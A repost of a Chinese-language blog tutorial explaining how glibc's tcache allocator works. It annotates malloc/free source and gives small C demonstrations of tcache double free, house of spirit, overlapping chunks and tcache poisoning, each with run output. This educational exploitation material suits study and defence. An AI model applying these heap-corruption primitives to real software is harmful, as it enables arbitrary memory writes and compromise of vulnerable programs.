0

Pwn Heap With Tcache

 2 years ago
source link: https://jinyu00.github.io/2018/06/03/Pwn-Heap-With-Tcache.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Pwn Heap With Tcache

glibc 2.26 开始引入了 tcache , 相关的 commit 可以看 这里 。加入 tcache 对性能有比较大的提升,不过由于 tcache 的存在 ,一些利用方式的限制条件就少了许多。具体往下看。

相关文件位于

https://gitee.com/hac425/blog_data/tree/master/tcache_pwn

修改自:https://github.com/andigena/ptmalloc-fanzine/tree/master/05-tcache

首先分析分析源码,看看 tcache 的工作原理

相关数据结构

typedef struct tcache_entry
struct tcache_entry *next;
} tcache_entry;
typedef struct tcache_perthread_struct
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS]; // TCACHE_MAX_BINS = 64
} tcache_perthread_struct;

tcache 也是使用 类似 bins 方式来管理 tcache

tcache_perthread_struct 是整个 tcache 的管理结构, 它的 entries64

每一项由 相同大小的 chunk 通过 tcache_entry 使用单向链表链接(类似于fastbin的链接方式)。

counts 用于记录 entries 中每一项当前链入的 chunk 数目, 最多可以有 7chunk

tcache_entry 用于链接 chunk 的结构体, 其中就一个 next 指针,指向下一个相同大小的 chunk

下面通过分析对 tcache 的两个基本操作理解上面结构体的作用

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e; // 增加到链表头部
++(tcache->counts[tc_idx]); // 记录当前 bin 的 chunk数
static __always_inline void *
tcache_get (size_t tc_idx)
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;

tcache_put

用于把一个 chunk 放到 指定的 tcache->entries 里面去, tc_idx 通过 csize2tidx (nb) 计算得到 (nbchunk 的大小)。

它首先把 chunk+2*SIZE_SZ (就是除去 header 部分) 强制转换成 tcache_entry * 类型,然后插入到 tcache->entries[tc_idx] 的首部,最后把 tcache->counts[tc_idx]1 ,表示新增了一个 chunk 到 该 表项。

tcache_get

根据 tc_idx 取出 tcache->entries[tc_idx] 的第一个chunk , 然后把 指针强制转换为 (void *)

这样就可以大概得到一个图

1525316077412

  • tcache->entries 的每一项通过 单向链表链接 chunk
  • tcache_entrymalloc chunk 是重叠的, tcache_entry->nextchunk->fd 是一个位置。

tcache in malloc

__libc_malloc

malloc 的入口点是 __libc_malloc (做了一些注释)

__libc_malloc (size_t bytes)
.............
.............
.............
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes); // tbytes 为 bytes请求的 转换后得到的 chunk 的 size
size_t tc_idx = csize2tidx (tbytes); // 根据大小 tbytes , 找到 tcache->entries 索引
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL) // 如果 tcache->entries[tc_idx] 有 chunk ,就返回
return tcache_get (tc_idx); // 调用 tcache_get 拿到 chunk 然后返回
DIAG_POP_NEEDS_COMMENT;
#endif
if (SINGLE_THREAD_P)
victim = _int_malloc (&main_arena, bytes);
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);

首先判断 tcache->entries[tc_idx] 里面有没有 chunk ,如果有就直接返回,否则进入 _int_malloc 分配内存。

下面看看 _int_malloc (主要看 tcache 处理的部分)

_int_malloc

处理fastbin

首先是把 请求的 size 转换成 实际 malloc 内部的 size ,然后定义了一个宏

// 从 fastbin里面移除 pp
#define REMOVE_FB(fb, victim, pp) \
victim = pp; \
if (victim == NULL) \
break; \
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \
!= victim); \

用于多线程的中从 fastbin 里面移除一个 chunk.

然后进入分配的流程, 首先如果 sizefastbin 的范围内进入, fastbin 分配的流程

if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
if (SINGLE_THREAD_P)
*fb = victim->fd;
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins) // 把该 fastbin 里面其他的 bin 放到 tcache 里面
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count // 判断 tcache 中指定 bin 中 chunk 是否超过 7
&& (tc_victim = *fb) != NULL)
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
tcache_put (tc_victim, tc_idx);
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
  • 在 相应 fastbin 找到 合适的 chunk 后,就把 该 chunkfastbin 里面拿下来
  • 然后 把相应 fastbin 里面剩下的 chunk 全都放到 tcache 里面 , 直到 tcache->entries[tc_idx] 满了 (已经有 7chunk 了,即 tcache->counts[tc_idx] = mp_.tcache_count = 7 )。
  • 最后在返回一开始拿到的 chunk 给用户

如果 fastbin 不能分配,则进入 smallbin 的分配流程

处理 smallbin

if (in_smallbin_range (nb))
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin; // 找到 chunk , 从 smallbin拿下来准备返回给用户
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size, // 把指定 smallbin 里面的 bin扔到 tcache里面
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
if (tc_victim != 0)
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;

fastbin 是类似的操作, 在 size 对应的 smallbin 里面找到 chunk

把这个 chunk 从链表上取下来

然后把该 smallbin 里面剩下的 bin 放入到 tcache , 直到 tcache->entries[tc_idx] 满.

如果 smallbin 也没能分配,进入 unsorted bin

遍历unsorted bin

int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
....................
....................
....................
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
// 把 bin 从 unsorted bin 里面拿下来后,先放入 tcache
#if USE_TCACHE
// 如果unsorted bin 的大小正好,扔到 tcache ,然后继续遍历
We may return one of these chunks later. */
if (tcache_nb
&& tcache->counts[tc_idx] < mp_.tcache_count)
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
#if USE_TCACHE
#endif
//大小不刚好等于需要的size 的话,就把 bin放到 相应的 bin 里面。
.......................................
.......................................
.......................................
#if USE_TCACHE
//如果有 大小适配的 unsorted bin 进入了 tcache(return_cached=1) 同时 mp_.tcache_unsorted_limit > 0 默认为 0 ,不会进入分支, 继续遍历
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
return tcache_get (tc_idx);
#endif
.......................................
.......................................
.......................................
} // end of while ((victim = unsorted_chunks (av)->b
//遍历完 unsorted bin 后 ,根据 return_cached 判断 tcache 里面是否有合适的 chunk
#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached)
return tcache_get (tc_idx);
#endif
  • 在遍历 unsorted bin 的时候, 如果找到大小刚好满足的 bin , 不会立刻返回,而是把这个 bin 放入 tcache 里面,并且设置 return_cached=1 ,表示 有 大小适配的 unsorted bin 进入了 tcache

  • 如果大小不是正好满足需要,就走一般的流程,把 bin 放到相应的 smallbin 或者 largebin 里面

  • 遍历 unsorted bin 的最后,会根据 return_cached 判断是否有 大小适配的 unsorted bin 进入了 tcachemp_.tcache_unsorted_limit 默认为 0 ,所以不会进入分支, 这样就会把所有的 unsorted bin 都放入到 tcache

  • 遍历完 unsorted bin 后 ,根据 return_cached 判断 tcache 里面是否有合适的 chunk ,有的话就可以返回了

  • 否则 large bintop chunk 来分配。

tcache in free

static void
_int_free (mstate av, mchunkptr p, int have_lock)
size = chunksize (p);
check_inuse_chunk(av, p);
#if USE_TCACHE
size_t tc_idx = csize2tidx (size); // tcache bin 的索引
if (tcache
&& tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量
tcache_put (p, tc_idx);
return;
#endif

删掉了一些没影响的代码

  • 首先就是获取要释放的 chunksize , 然后判断 size 是否符和规范(是否对齐之类的 check ), 如果合规就看 tcache->counts[tc_idx] 是否已经满了 ,如果没有满就直接放入 tcache , 然后返回。
  • 否则就和没有 tcache 是一样的处理

free 的时候,会检测 p 的下一个 chunk( next )PREV_INUSE 位,但是如果 chunk 被放入了 tcache ,next->PREV_INUSE 位不会被修改 ,所以还是会标志为 in_used . 所以我们可以 多次释放同一个 chunk .

size = chunksize (p);
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p); // 通过下一个 chunk 的 pre_inused 位,判断当前 chunk 释放已经被释放
#if USE_TCACHE
size_t tc_idx = csize2tidx (size); // tcache bin 的索引
if (tcache
&& tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量
tcache_put (p, tc_idx); // 如果 chunk 被放入了 tcache ,next->pre_inuse 不会被修改。
return;
#endif

同时在 malloc 的时候 ,先尝试 tcache 分配

void *
__libc_malloc (size_t bytes)
#if USE_TCACHE
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->entries[tc_idx] != NULL)
return tcache_get (tc_idx);
#endif

这也使得很多安全检测不会被执行。

编译glibc

首先编译一个开启 tcacheglibc ,我用的是 glibc-2.27

tar xvf glibc-2.27.tar.bz2
mkdir gcc227_build
cd gcc227_build/
../glibc-2.27/configure --prefix=/usr/local/glibc227
sudo mkdir /usr/local/glibc227
sudo make install
http://www.sysnote.org/2015/08/25/use-new-glibc/

下载测试代码

https://github.com/andigena/ptmalloc-fanzine/tree/master/05-tcache

作为测试代码。

修改 Makefile

PROGRAMS = tcache_poisoning overlapping_chunks_by_caching tcache_house_of_spirit tcache_dup
CFLAGS += -Wpedantic -std=gnu11 -g -Wl,--rpath=/usr/local/glibc227/lib -Wl,--dynamic-linker=/usr/local/glibc227/lib/ld-linux-x86-64.so.2 -lpthread
all: $(PROGRAMS)
clean:
rm -f $(PROGRAMS)

增加 gcc 的参数

-Wl,--rpath=/usr/local/glibc227/lib -Wl,--dynamic-linker=/usr/local/glibc227/lib/ld-linux-x86-64.so.2

使得程序使用 我们编译好的 libc 来链接程序。

https://blog.csdn.net/jefbai/article/details/47859335

tcache_dup

通过 free 2次同一个 chunk , 使得可以让两个指针分配到同一块内存

#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
int main() {
void* p1 = malloc(0x40);
free(p1);
free(p1);
printf("Next allocated memory will be same: %p %p\n", malloc(0x40), malloc(0x40));
  • 通过 _int_free 的源码我们知道, 在 free 的时候,会检测 p 的下一个 chunk ( next ) 的 PREV_INUSE
  • 然后如果 tcache 指定项没有满就把 chunk 加入 tcache
  • 但是如果 chunk 被放入了 tcachenext->PREV_INUSE 位不会被修改 ,所以还是会标志为 in_used . 所以我们可以 多次释放同一个 chunk .

所以我们释放两次 p1 , 此时 tcache 里面 size0x50 ( chunk 大小) 的项中就有 两个 一样 chunk

1525346996753

然后分配两次一样大小的 chunkmalloc 会先用 tcache 分配,就会拿到两个一样的 chunk

01:38 haclh@ubuntu:tcache_pwn $ ./tcache_dup
Next allocated memory will be same: 0x602260 0x602260

可以看到分配到了两个地址一样的 chunk .

tcache_house_of_spirit

通过伪造 size ,然后 free 掉这个 伪造的 chunk , 然后再分配 size 大小的 chunk , 就可以分配到指定位置。

首先看看源代码

#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main(int argc, const char* argv[]) {
size_t fake_chunk_and_more[64];
memset(fake_chunk_and_more, 'A', sizeof(fake_chunk_and_more));
printf("stack buf: %p\n", (void *)fake_chunk_and_more);
char* fake_chunk = (char * )fake_chunk_and_more;
*(long *)(fake_chunk + sizeof(long)) = 0x110;
*(long *)(fake_chunk + 0x110 + sizeof(long)) = 0x40; // 设置 pre_inused 位
char *mem = fake_chunk + 2*sizeof(long);
free(mem);
void *mem2 = malloc(0x100);
printf("malloc(0x100) returned: %p\n", mem2);
return 0;

就是在栈上面(用栈只是为了方便)伪造了 一个 0x110 大小 chunk

1525346826868

然后把它释放掉,他就会进入 tcache ,然后分配 0x110chunk 就可以 分配到 fake_chunk_and_more 的地址

1525339347203

可以看到分配到了fake_chunk_and_more .

调试过程的内存状态

1525339467768

熟悉 malloc 管理机制的老哥们可以比较奇怪,这里把 next_chunk->pre_inused = 0 ( size = 0x40 ) 。

在 源码里面是有通过 check_inuse_chunk 检测是否 double free 的 代码的

_int_free (mstate av, mchunkptr p, int have_lock)
size = chunksize (p);
....................................................
....................................................
check_inuse_chunk(av, p);
#if USE_TCACHE
size_t tc_idx = csize2tidx (size); // tcache bin 的索引
if (tcache
&& tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量
tcache_put (p, tc_idx);
return;
#endif

但是从 ida 里面去看,居然不见了,校验 chunksize 和 指针 后就直接进入 tcache 的处理的流程, 于是这里就算设置 下一个chunknext_chunk->pre_inuse = 0 ,也不会出现 crash

1525338185257

overlapping_chunks_by_caching

overlapping_chunks 这种技术非常经典了, 不过在 tcache 里面就非常的简单了, 修改 chunksizefake_size , 然后 free 掉它,就会进入 fake_size 对应的 tcache , 然后在 分配 fake_sizechunk 就可以拿到这个 chunk , overlap chunk

#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main(int argc, const char* argv[]) {
char *mem = malloc(0x48);
char *sentry = malloc(0x18);
memset(sentry, 'b', 0x10);
printf("mem: %p, sentry: %p\n",mem, sentry);
printf("sentry content: %s\n", sentry);
*(long* )(mem - sizeof(long)) = 0x110; // 设置 chunk->size = 0x110
free(mem);
char *mem2 = malloc(0x100); // 分配一个 0x110 的chunk
memset(mem2, 'a', 0x100);
printf("mem2: %p\n", mem2);
printf("sentry content: %s\n", sentry);
return 0;

通过修改 mem 所在 chunksize0x110

1525347324312

然后释放掉他 ,然后分配一个 0x110chunk ,我们就会再次分配到它。此时 mem2chunk 包含了 sentrychunk

1525340874047

1525340838481

可以看到 mem2 所在 chunk 的大小为 0x110, 而 sentrymem2 相距 0x50 于是可以通过 mem2 修改 sentry 的内容

tcache_poisoning

通过修改 free 状态的 tcache 里面的 chunkfd (其实就是 tcache_entry->next ) ,可以分配到任意地址

#include <malloc.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main(int argc, const char* argv[]) {
size_t target[6];
printf("stack: %p\n",target);
char *mem = malloc(0x48);
free(mem);
*(long *)(mem) = (long)target;
char *mem1 = malloc(0x48);
char *mem2 = malloc(0x48);
printf("mem2: %p\n", mem2);
return 0;

分配一个 0x50chunk 然后释放它,进入 tcache ,然后修改 fdtarget

1525347583081

然后分配两次 0x50chunk 就可以分配到 target

1525344303155

成功分配到了 栈上面。

其实 fd 为任意地址都行,原因在于 tcache_get 直接从 tcache->entries 里面拿 chunk , 而不检查 拿到的 chunk 是否合法。

同时 在 malloc 分配内存时,首先使用 tcache ,而它判断 tcache 有没有可以分配的 chunk , 是直接判断指定项有没有指针。

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->entries[tc_idx] != NULL) // 根据tcache->entries[tc_idx]是否为空判断是否有chunk
return tcache_get (tc_idx);
DIAG_POP_NEEDS_COMMENT;
#endif

tcache 的引入使得 heap 相关的漏洞的利用非常的简单了。

简单的原因主要在于 tcache 里面没有做什么检查, 同时还会优先使用这使得原来 malloc 里面的 check 也没有了作用。

free 的话 释放内存如果大小在 tcache 的范围内, 只检测 size 和 指针 是否合法,而且检测非常弱。

malloc 时 也是优先使用 tcache , 只要 tcache->entries[tc_idx] 非空就可以从 tcache 分配。

参考

http://tukan.farm/2017/07/08/tcache/

https://www.anquanke.com/post/id/104760

本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2018/06/03/Pwn-Heap-With-Tcache.html


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK